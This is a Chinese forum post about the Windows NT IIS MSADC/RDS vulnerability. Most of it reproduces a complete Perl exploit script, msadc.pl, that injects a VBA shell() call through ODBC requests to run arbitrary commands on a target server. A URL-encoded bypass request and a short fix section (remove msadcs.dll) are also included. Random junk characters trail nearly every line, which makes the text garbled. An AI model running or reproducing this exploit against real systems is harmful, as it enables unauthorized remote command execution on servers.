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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) P(;?kg}0  
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涉及程序: a\%xB >LX  
Microsoft NT server fPrLM'  
[p2H=  
描述: MNg^]tpf  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 (I@rLvZr{  
eQVZO>)P1+  
详细: iC*F  
如果你没有时间读详细内容的话,就删除: [xT:]Pw}  
c:\Program Files\Common Files\System\Msadc\msadcs.dll EZYBeqv  
有关的安全问题就没有了。 P) uDLFp]  
8o/}}=m$  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 o}<4*qlI  
!xwG% {_  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 ]XTu+T.aT  
关于利用ODBC远程漏洞的描述,请参看: Z( 9 u<  
8HZs>l  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm YFTjPBV  
;r6jx"i  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 t w(JZDc  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp [2dn\z28  
HFqm6|  
这里不再论述。 4<x'ocKlD  
meCC?YAB  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: W,K%c=  
(?H0+zws^  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset '*Almv{  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! YOrrkbJ(  
NBF MN%  
8kbY+W%n  
#将下面这段保存为txt文件,然后: "perl -x 文件名" g/&T[FOr  
I(S)n+E  
#!perl Cn_$l>  
# iA,kX\nK  
# MSADC/RDS 'usage' (aka exploit) script F|& {Rt  
# k2xHH$+{#=  
# by rain.forest.puppy 7y`}PMn  
# !gLkJ)  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me dV Q-k  
# beta test and find errors! RID]pek  
n3lE, b  
use Socket; use Getopt::Std; ?X-)J=XG  
getopts("e:vd:h:XR", \%args); kvh&d|  
z`Hy'{1  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; )~V4+*<  
X{^}\,cVtG  
if (!defined $args{h} && !defined $args{R}) { ~Aq5X I%i  
print qq~ 720)VzT  
Usage: msadc.pl -h <host> { -d <delay> -X -v } Pub0IIs  
-h <host> = host you want to scan (ip or domain) 7t?*  
-d <seconds> = delay between calls, default 1 second (n1Bh~R^  
-X = dump Index Server path table, if available = 0- $W5E  
-v = verbose xP=/N!,#  
-e = external dictionary file for step 5 lKkN_ (/j  
S2>c#BQ  
Or a -R will resume a command session kqb0>rYa   
O8] 'o*<]  
~; exit;} OgcHS?  
!6G?zipB  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; j&UMjI9[  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} |e a~'N1  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} }dxDt qb  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); 2qi'g:qe  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} /cK%n4l.y  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } IG?'zppjd6  
JxjI]SF02  
if (!defined $args{R}){ $ret = &has_msadc; " v}pdUW  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} cV-1?h63  
f/kI| Z  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" \*\R1_+  
. "cmd /c "; 5/QRL\  
$in=<STDIN>; chomp $in; cE iu)2*e  
$command="cmd /c " . $in ; ?k[p<Uo  
3M0+"l(X  
if (defined $args{R}) {&load; exit;} ez3Z3t`  
Ke-)vPc  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; Wy]^Ub gW  
&try_btcustmr; ,&Wn [G<2  
b.O9ITR  
print "\nStep 2: Trying to make our own DSN..."; J4=_w  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; 81%8{yn!$"  
dx,=Rd5'  
print "\nStep 3: Trying known DSNs..."; &ff&Y.q~  
&known_dsn; UwY-7Mmo  
IkzTJ%>  
print "\nStep 4: Trying known .mdbs..."; OquAql:   
&known_mdb; 3K@@D B6  
dV?5Q_}  
if (defined $args{e}){ `Y40w#?uW  
print "\nStep 5: Trying dictionary of DSN names..."; 0)m8)!gj  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } LwuF0\  
@mt0kV9  
print "Sorry Charley...maybe next time?\n"; \uG`|D n  
exit; -xg2q V\c  
uE=$p)  
############################################################################## m6 s7F/  
xw<OLWW  
sub sendraw { # ripped and modded from whisker CnN9!~]"  
sleep($delay); # it's a DoS on the server! At least on mine... f-2$ L  
my ($pstr)=@_; 8_H=^a>2  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || _)$PKOzbb  
die("Socket problems\n"); !}M,  
if(connect(S,pack "SnA4x8",2,80,$target)){ JIO$=+p  
select(S); $|=1; #(LfYw.P1V  
print $pstr; my @in=<S>; O;[9_[  
select(STDOUT); close(S); "tS'b+SJ-S  
return @in; ZiFooA  
} else { die("Can't connect...\n"); }} 'j%F]CK  
#kkY@k$4  
############################################################################## ExHAY|UA  
XH7xT@  
sub make_header { # make the HTTP request BsZ{|,oQnZ  
my $msadc=<<EOT K:y^OAZfV  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 7?"y{R>E  
User-Agent: ACTIVEDATA s,*c@1f?  
Host: $ip l]2r)!Q7  
Content-Length: $clen 4y}"Hy  
Connection: Keep-Alive HjWq[[Nz  
=wi*Nd7L  
ADCClientVersion:01.06 t j Vh^  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 Vy G4(X va  
)<4_:  
--!ADM!ROX!YOUR!WORLD! \nrP$  
Content-Type: application/x-varg Q}A=jew  
Content-Length: $reqlen aaWJ* >rJ  
UFn8kBk  
EOT M~6@20$oW  
; $msadc=~s/\n/\r\n/g; O$ !* %TL  
return $msadc;} ]r]k-GZ$  
S\NL+V?7h  
############################################################################## eyw'7  
d6 _C"r  
sub make_req { # make the RDS request h7_)%U<J2  
my ($switch, $p1, $p2)=@_; %1McD{  
my $req=""; my $t1, $t2, $query, $dsn; ts9pM~_~  
+UWU|:  
if ($switch==1){ # this is the btcustmr.mdb query BRG|Asg(  
$query="Select * from Customers where City=" . make_shell(); Ek.&Sf$cd'  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . *j)M]  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} -dTLunv  
ET^|z  
elsif ($switch==2){ # this is general make table query \[wCp*;1}  
$query="create table AZZ (B int, C varchar(10))"; mZ0J!QYk  
$dsn="$p1";} 8_\W/I!7b  
cm>E[SHr  
elsif ($switch==3){ # this is general exploit table query cJ}QXuuUv  
$query="select * from AZZ where C=" . make_shell(); oholt/gb+0  
$dsn="$p1";} 1@sM1WM X  
eo#^L}  
elsif ($switch==4){ # attempt to hork file info from index server #$'"cfRxc  
$query="select path from scope()"; j;P+_Hfe/E  
$dsn="Provider=MSIDXS;";} s0LA^2U  
\X}8 q  
elsif ($switch==5){ # bad query S9Y[4*//  
$query="select"; YwT-T,oD  
$dsn="$p1";} _EYB 8e  
FJM;X-UOY  
$t1= make_unicode($query); &b C}3D  
$t2= make_unicode($dsn); sJr5t?  
$req = "\x02\x00\x03\x00"; KAA3iA@>+  
$req.= "\x08\x00" . pack ("S1", length($t1)); FY;+PY@I{  
$req.= "\x00\x00" . $t1 ; >X Qv?5  
$req.= "\x08\x00" . pack ("S1", length($t2)); mU{4g`Iw  
$req.= "\x00\x00" . $t2 ; ~0tdfK0c  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; yDd[e]zS`  
return $req;} 8LM #WIm?  
jPu5nwvUV>  
############################################################################## =LH}YUmd  
udqge?Tz  
sub make_shell { # this makes the shell() statement aSnp/g  
return "'|shell(\"$command\")|'";} m24v@?*  
+GNWF% zN  
############################################################################## $G?(OWI}l`  
'?/&n8J\  
sub make_unicode { # quick little function to convert to unicode ,=w!vO5s  
my ($in)=@_; my $out; I ,FqN}  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } }B!cv{{  
return $out;} MR9/Y:Nm  
x6yW:tUG5  
############################################################################## hFb fNB3  
Z(!pYhLq  
sub rdo_success { # checks for RDO return success (this is kludge) )@ PnTpL*  
my (@in) = @_; my $base=content_start(@in); 0g(6r-2)7  
if($in[$base]=~/multipart\/mixed/){ [Z }B"  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} u35q,u=I  
return 0;} 3B18dv,V  
 Q9y*:  
############################################################################## EnCU4CU`  
t3F?>G#y  
sub make_dsn { # this makes a DSN for us CI^|k/  
my @drives=("c","d","e","f"); B\<ydN  
print "\nMaking DSN: "; a?<?5   
foreach $drive (@drives) { @!H '+c  
print "$drive: "; ;~tsF.=  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . xUj2 ]Q>R+  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" N~#D\X^t.  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); ,nE&Me&#J  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; ckwF|:e 7*  
return 0 if $2 eq "404"; # not found/doesn't exist gL]'B!dGd  
if($2 eq "200") { W8/(;K`/  
foreach $line (@results) { ,Aa|Bd]b  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} dK # h<q1  
} return 0;} Y1r ,2k  
%-^}45](q  
############################################################################## 9/;{>RL=  
cF.mb*$K  
sub verify_exists { $N\+,?  
my ($page)=@_; M/w{&&  
my @results=sendraw("GET $page HTTP/1.0\n\n"); g X/NtO %  
return $results[0];} EzP#Mnz^  
bXl8v  
############################################################################## AVpuMNd@  
Ow3a0cF[9  
sub try_btcustmr { ,C!n}+27  
my @drives=("c","d","e","f"); 3X'WR]  
my @dirs=("winnt","winnt35","winnt351","win","windows"); eY3=|RR  
|!b9b(_j9  
foreach $dir (@dirs) { ?M"HXu  
print "$dir -> "; # fun status so you can see progress IQ{?_'  
foreach $drive (@drives) { 9t }xXk  
print "$drive: "; # ditto 8eww7k^R  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; G2@KI-  
$reqlenlen=length( "$reqlen" ); a/e\vwHLv  
$clen= 206 + $reqlenlen + $reqlen; ;eR{tH /4  
(5(fd.m+_  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); |BJqy/  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} x(6vh2#vD  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} #<}kISV0  
Y(z }[`2  
############################################################################## 33M}>$ZH  
!fZLQc  
sub odbc_error { { y/-:=S)A  
my (@in)=@_; my $base; \\iK'|5YG  
my $base = content_start(@in); (HSw%e  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this ]PVt o\B=  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; j];G*-iv{  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Kw*~W i  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; bA+[{  
return $in[$base+4].$in[$base+5].$in[$base+6];} }bgo )<i  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; *.dKR  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . (,TH~("{  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} p,s&61]  
|UZOAGiBg  
############################################################################## |KaR n;BM  
Qi|?d7k0  
sub verbose { vTcZ8|3e  
my ($in)=@_; &?}1AQAYg  
return if !$verbose;  V.fp/jhj  
print STDOUT "\n$in\n";} @ay|]w  
#fzw WP  
############################################################################## 7<4xtK`+b  
[iXi\Ex  
sub save { 4g'}h`kh  
my ($p1, $p2, $p3, $p4)=@_; TMtI^mkB:  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; s<#N]mp'   
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; ~._ko  
close OUT;} D?J#u;h~f  
f@*>P_t  
############################################################################## u7 ~mn l  
uf?b%:A  
sub load { Wa}"SqYr h  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; :5<#X8>d  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); kraVL%72  
@p=<IN>; close(IN); %O Fj  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); Nc"NObe  
$target= inet_aton($ip) || die("inet_aton problems"); wJ(8}eI  
print "Resuming to $ip ..."; "_oLe;?$c  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; G)4SWu0<t  
if($p[1]==1) { m/" J s  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; QP<FCmt8  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; ?GfxBZWJ  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); ip674'bq7R  
if (rdo_success(@results)){print "Success!\n";} jB/V{Y#y9@  
else { print "failed\n"; verbose(odbc_error(@results));}} %U:C|  
elsif ($p[1]==3){ |87W*  
if(run_query("$p[3]")){ lkN'uZ  
print "Success!\n";} else { print "failed\n"; }} 0ZT 0  
elsif ($p[1]==4){ *CT.G'bQX  
if(run_query($drvst . "$p[3]")){ W\a!Q]pV  
print "Success!\n"; } else { print "failed\n"; }} Ba<#1p7_  
exit;} YkVRl [  
@7]\y7D  
############################################################################## p&m ^IWD  
_Z0\`kba+  
sub create_table { K~$35c3M  
my ($in)=@_; c-|kv[\a  
$reqlen=length( make_req(2,$in,"") ) - 28; DUQ9AT#3  
$reqlenlen=length( "$reqlen" ); |thad!?  
$clen= 206 + $reqlenlen + $reqlen; 0ovZ&l  
my @results=sendraw(make_header() . make_req(2,$in,"")); 67fIIXk&  
return 1 if rdo_success(@results); 6VGo>b;  
my $temp= odbc_error(@results); verbose($temp); 0+p 5/5  
return 1 if $temp=~/Table 'AZZ' already exists/; q:Wq8  
return 0;} Qv\bLR  
=_uol8v  
############################################################################## ?|)rv  
^YqbjL  
sub known_dsn { dUZ$wbV%h  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go iW":DOdi_  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", "W3W:vl!  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", :K: f^o]s  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); jB`7T^bU  
a&8l[xe1  
foreach $dSn (@dsns) { q'by;g*m  
print "."; XS3{R   
next if (!is_access("DSN=$dSn")); V15q01bE#  
if(create_table("DSN=$dSn")){ # UjEY9"M  
print "$dSn successful\n"; .byc;9M%  
if(run_query("DSN=$dSn")){ [:Xn6)qz  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ` v>/  
print "Something's borked. Use verbose next time\n";}}} print "\n";} eC.w?(RB  
3 L*+8a  
############################################################################## \N6<BS  
1x8(I&i  
sub is_access { U>bP}[&S  
my ($in)=@_; g&q^.7c}  
$reqlen=length( make_req(5,$in,"") ) - 28; 8b{U tT  
$reqlenlen=length( "$reqlen" ); f8R+7Ykx  
$clen= 206 + $reqlenlen + $reqlen; sN;(/O  
my @results=sendraw(make_header() . make_req(5,$in,"")); 9A(n _Rs7?  
my $temp= odbc_error(@results); G]at{(^Vz  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); EgFl="0  
return 0;} l<s :%%CX  
" S ?Km  
############################################################################## >J9IRAm}sc  
ys/`{:w8p  
sub run_query { gZ1N&/9;  
my ($in)=@_; %bEGv:88s  
$reqlen=length( make_req(3,$in,"") ) - 28; i_|h{JK)  
$reqlenlen=length( "$reqlen" ); *m iONc  
$clen= 206 + $reqlenlen + $reqlen; =z+-l5Gu"  
my @results=sendraw(make_header() . make_req(3,$in,"")); JN-D/s  
return 1 if rdo_success(@results); N&x@_t""   
my $temp= odbc_error(@results); verbose($temp); 5 Xk~,%-C  
return 0;} #j\*Lc"Ur:  
$#TID=  
############################################################################## o.p+j  
O.]_Ry\OXA  
sub known_mdb {  3&O% &  
my @drives=("c","d","e","f","g"); "sdcP8])d  
my @dirs=("winnt","winnt35","winnt351","win","windows"); <.;@ksCPW{  
my $dir, $drive, $mdb; vM5k4%D  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; (H'_KPK  
GOUY_&}tL  
# this is sparse, because I don't know of many =;kRk .qzy  
my @sysmdbs=( "\\catroot\\icatalog.mdb", i:MlD5 F  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", l kI8 {  
"\\system32\\certmdb.mdb", B8`R(vu;  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% 6-D%)Z(  
D WsCYo  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", GH [ U!J  
"\\cfusion\\cfapps\\forums\\forums_.mdb", U&w*Sb"  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", c`rfKr&z  
"\\cfusion\\cfapps\\security\\realm_.mdb", niXHK$@5  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", 6(\q< fx  
"\\cfusion\\database\\cfexamples.mdb", 1!K !oY  
"\\cfusion\\database\\cfsnippets.mdb", H Jnv'^yn  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", ' 2;Ny23  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", $0S.@wUG  
"\\cfusion\\brighttiger\\database\\cleam.mdb", e{c._zr,  
"\\cfusion\\database\\smpolicy.mdb", ,)0/Ec  
"\\cfusion\\database\cypress.mdb", cpP.7ZR  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", kxcgOjrmI  
"\\website\\cgi-win\\dbsample.mdb", E!:.G+SEl  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", #-l!`\@  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" `HE>%=]b  
); #these are just jB}_Slh1j  
foreach $drive (@drives) { :_W 0Af09  
foreach $dir (@dirs){ gvow\9{|C  
foreach $mdb (@sysmdbs) { XHU<4l:kl  
print "."; R^n* o  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ 8#[%?}tK  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; AT2NC6{M  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ 8 /:X& &  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; mBYS"[S(  
} else { print "Something's borked. Use verbose next time\n"; }}}}} JS<e`#c&  
@h,h=X  
foreach $drive (@drives) { ^(E"3 c  
foreach $mdb (@mdbs) { 'XC&BWJ  
print "."; nPQZI6>  
if(create_table($drv . $drive . $dir . $mdb)){  r*~n`  
print "\n" . $drive . $dir . $mdb . " successful\n"; ' [7C~r{%  
if(run_query($drv . $drive . $dir . $mdb)){ l4R<`b\Jt  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; eH"qI2A  
} else { print "Something's borked. Use verbose next time\n"; }}}} 5$ (b3]  
} 'fp<FeTg  
NgDZ4&L  
##############################################################################  eLe,=  
75QXkJu  
sub hork_idx { F[Guy7?O  
print "\nAttempting to dump Index Server tables...\n"; eSQzjR*  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; EhmUX@k],  
$reqlen=length( make_req(4,"","") ) - 28; s!nSE  
$reqlenlen=length( "$reqlen" ); F$"MFdc[  
$clen= 206 + $reqlenlen + $reqlen; ?=pZmvQg  
my @results=sendraw2(make_header() . make_req(4,"","")); 1{;[q3a  
if (rdo_success(@results)){ =Qjw.6@  
my $max=@results; my $c; my %d; ifgr<QlG  
for($c=19; $c<$max; $c++){ ^Yg|P&e(;  
$results[$c]=~s/\x00//g; +=,4@I%  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; B.CH9M  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; `\WcF7  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; ai<MsQQ:=  
$d{"$1$2"}="";} FVvv   
foreach $c (keys %d){ print "$c\n"; } 'p|Iwtjn>  
} else {print "Index server doesn't seem to be installed.\n"; }} oF 1W}DtA  
khKv5K#)  
############################################################################## cq@_*:~Or  
3. K{T  
sub dsn_dict { Lk8W&|;0|  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); v"G%5pq*\  
while(<IN>){ ? bUpK  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; -Ib+#pX  
next if (!is_access("DSN=$dSn")); auyKLT3C  
if(create_table("DSN=$dSn")){ ?-RoqF  
print "$dSn successful\n"; 1OfSq1G>v$  
if(run_query("DSN=$dSn")){ c:`` Y:  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { B~ 'VDOG$Z  
print "Something's borked. Use verbose next time\n";}}} yP1Y3Tga=  
print "\n"; close(IN);} ~t.WwxY+  
/I`bh  
############################################################################## [EW$7 se~  
)$Dcrrj  
sub sendraw2 { # ripped and modded from whisker N c&i) qh  
sleep($delay); # it's a DoS on the server! At least on mine... y . ivz  
my ($pstr)=@_; &?5{z\;1"  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 6S&=OK^  
die("Socket problems\n"); 9wDBC~.  
if(connect(S,pack "SnA4x8",2,80,$target)){ u]>>B>KOJ7  
print "Connected. Getting data"; :<WQ;q  
open(OUT,">raw.out"); my @in; 67K RM(S  
select(S); $|=1; print $pstr; 9$\;voo  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} Gn2bZ%l  
close(OUT); select(STDOUT); close(S); return @in; a2 klOX{  
} else { die("Can't connect...\n"); }}  i?i7T`  
JtrDZ;^@  
############################################################################## ftI+#0?[!  
zw%n!wc_\  
sub content_start { # this will take in the server headers #)h ~.D{  
my (@in)=@_; my $c;  HN~v&,  
for ($c=1;$c<500;$c++) { 9qu24zz$P  
if($in[$c] =~/^\x0d\x0a/){ /v;)H#;  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } _:fO)gs|1  
else { return $c+1; }}} bsk=9K2_2t  
return -1;} # it should never get here actually +=B}R  
sP3.s_U^  
############################################################################## 9Sj:nn^/u  
v ACsppa>#  
sub funky { ,GXfy9x7U  
my (@in)=@_; my $error=odbc_error(@in); ZR01<V  
if($error=~/ADO could not find the specified provider/){ M~{P',l*  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; s2kZZP8-  
exit;} >fZ/09&3  
if($error=~/A Handler is required/){ \w0b"p  
print "\nServer has custom handler filters (they most likely are patched)\n"; wMPw/a;  
exit;} "<jEI /  
if($error=~/specified Handler has denied Access/){ mZ0oa-Iy  
print "\nServer has custom handler filters (they most likely are patched)\n"; % Dr4~7=7a  
exit;}} a@_Cx  
:C:N]6_{SZ  
############################################################################## >$S,>d_k`  
QSs$   
sub has_msadc { TXh@  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); vX0I^ 8.  
my $base=content_start(@results); eEri v@v  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); g0:4zeL  
return 0;} f;tyoN0wHx  
mTuB*  
######################## E][{RTs  
N>nvt.`P  
|n6 Q  
解决方案: b-(UsY:  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll :kiO  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 < 8 Y<w|Hh  
k'I_,Z<,  
拿出来充数 哈哈
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